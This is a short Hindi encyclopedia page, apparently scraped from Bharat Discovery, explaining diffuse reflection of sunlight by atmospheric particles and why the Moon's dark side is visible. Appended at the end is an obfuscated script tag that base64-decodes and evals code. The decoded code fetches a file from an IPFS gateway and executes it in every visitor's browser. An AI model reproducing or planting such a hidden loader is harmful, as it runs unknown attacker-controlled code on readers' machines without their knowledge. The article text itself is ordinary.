एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "१"।

विसरित परावर्तन

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

जब वायुमण्डल में स्थित अदृश्य कणों का व्यास विकिरण तरंग से बड़ा होता है तब उनसे होने वाले परार्वतन को विसरित परावर्तन कहा जाता है। इसके माध्यम से सौयिर्क शक्ति का कुछ भाग परावर्तित होकर अन्तरिक्ष में चारों ओर बिखर जाता हैं। विसरित परावर्तन के कारण चन्द्रमा का अंधेरा भाग भी आसानी से दृष्टिगोचर हो जाता है।


टीका टिप्पणी और संदर्भ


संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>